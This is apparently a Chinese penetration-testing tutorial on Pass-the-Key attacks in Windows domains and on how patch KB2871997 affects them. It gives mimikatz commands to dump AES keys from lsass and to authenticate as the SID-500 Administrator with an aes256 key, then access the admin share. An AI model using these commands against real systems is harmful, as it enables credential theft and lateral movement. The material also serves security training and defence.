在 WinXP/2003/Vista/2008 ,以及未打 KB2871997 补丁之前(AES 不可用或不可替代)的 Win7/2008r2/8/2012 中强制使用 NTLM 哈希,AES 密钥只有在 8.1/2012r2 和打了 kb2871997 补丁的 7/2008r2/8/2012 中才可以替换,在这种情况下,你可以避免使用 NTLM 哈希。
上面的句子怎么理解?
1、WinXP/2003/Vista/2008 ,以及未打 KB2871997 补丁之前(AES 不可用或不可替代)的 Win7/2008r2/8/2012,这些环境我们都可以使用NTLM哈希传递
2、对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NTLM来进行验证
什么是KB2871997
KB2871997:禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、psexec、schtasks、at和访问文件共享。
这个补丁发布后常规的Pass The Hash已经无法成功,唯独默认的 Administrator (SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程连接,即使administrator修改了名字
但是还可以通过AES密钥来替代NTLM验证进行横向的操作,其实这个补丁挺鸡肋的,不用AES密钥照样也可以用NTLM,只是需要Administrator(SID 500),都拿到机器了,Administrator还不容易吗?这个补丁唯一的好处就是减少存储在内存中的凭据数据,也就是让wdigest协议认证的凭据不会存储在lsass.exe,这样子当你dump lsass.exe的时候你就会发现,wdigest协议中的凭据你就看不到了!
利用条件:
1、需要AES265或者AES128的KEY,这两个均可以使用
2、使用的账号是administrator(SID是500);
3、本地使用mimikatz的时候需要管理员权限
4、PTK成功之后,访问目标资源:dir \主机名\c$
利用过程
1、获取AES KEY
mimikatz命令为:
mimikatz “log” “privilege::debug” “sekurlsa::ekeys” exit
2、Pass The Key
mimikatz命令为:
mimikatz.exe “privilege::debug” “sekurlsa::pth /user:administrator /domain:pentest.god /aes256:cb96aa47041edd1690aabc9e1852177d372104e906e42ff6f8ac7156133b17b9”
这里需要注意:dir \xxx.xxx.xxx.xxx\c$ 如果直接用IP会提示用户或密码不正确,直接使用机器名即可 dir \机器名\c$